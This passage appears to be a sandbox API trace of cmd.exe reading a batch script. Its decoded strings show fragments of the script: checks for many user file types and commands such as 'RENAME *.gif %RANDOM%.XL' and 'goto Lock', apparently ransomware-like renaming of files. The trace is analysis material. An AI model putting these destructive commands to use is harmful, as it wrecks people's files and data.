hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.920] GetFileType (hFile=0x74) returned 0x1 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.920] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=4127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l2\r\n") returned 28 [0037.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.920] GetFileType (hFile=0x74) returned 0x1 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.920] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=4155, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l2\r\n") returned 28 [0037.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.921] GetFileType (hFile=0x74) returned 0x1 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.921] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=4183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l2\r\n") returned 28 [0037.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.921] GetFileType (hFile=0x74) returned 0x1 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.921] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l2\r\n") returned 28 [0037.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.922] GetFileType (hFile=0x74) returned 0x1 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.922] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=4239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l2\r\n") returned 28 [0037.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.922] GetFileType (hFile=0x74) returned 0x1 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.922] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=4267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l2\r\n") returned 28 [0037.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.923] GetFileType (hFile=0x74) returned 0x1 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.923] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=4295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.923] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l2\r\n") returned 28 [0037.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.923] GetFileType (hFile=0x74) returned 0x1 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.923] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=4324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.923] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l2\r\n\n") returned 29 [0037.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.923] GetFileType (hFile=0x74) returned 0x1 [0037.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.924] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.924] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l2\r\n\n") returned 28 [0037.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.924] GetFileType (hFile=0x74) returned 0x1 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.924] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=4380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.924] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l2\r\n") returned 28 [0037.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.924] GetFileType (hFile=0x74) returned 0x1 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.924] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=4408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.924] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l2\r\n") returned 28 [0037.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.925] GetFileType (hFile=0x74) returned 0x1 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=4436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.925] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l2\r\n") returned 28 [0037.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.925] GetFileType (hFile=0x74) returned 0x1 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=4464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.925] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l2\r\n") returned 28 [0037.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.925] GetFileType (hFile=0x74) returned 0x1 [0037.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=4492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l2\r\n") returned 28 [0037.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.926] GetFileType (hFile=0x74) returned 0x1 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.926] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=4520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l2\r\n") returned 28 [0037.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.926] GetFileType (hFile=0x74) returned 0x1 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.926] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=4549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l2\r\n") returned 29 [0037.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.927] GetFileType (hFile=0x74) returned 0x1 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.927] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l2\r\n") returned 6 [0037.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.927] GetFileType (hFile=0x74) returned 0x1 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.927] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n2\r\n") returned 26 [0037.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.927] GetFileType (hFile=0x74) returned 0x1 [0037.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.927] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.928] GetFileType (hFile=0x74) returned 0x1 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.928] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.928] GetFileType (hFile=0x74) returned 0x1 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.928] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=4600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.929] GetFileType (hFile=0x74) returned 0x1 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.929] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=4626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.929] GetFileType (hFile=0x74) returned 0x1 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.929] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=4628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.929] SetFilePointer (in: 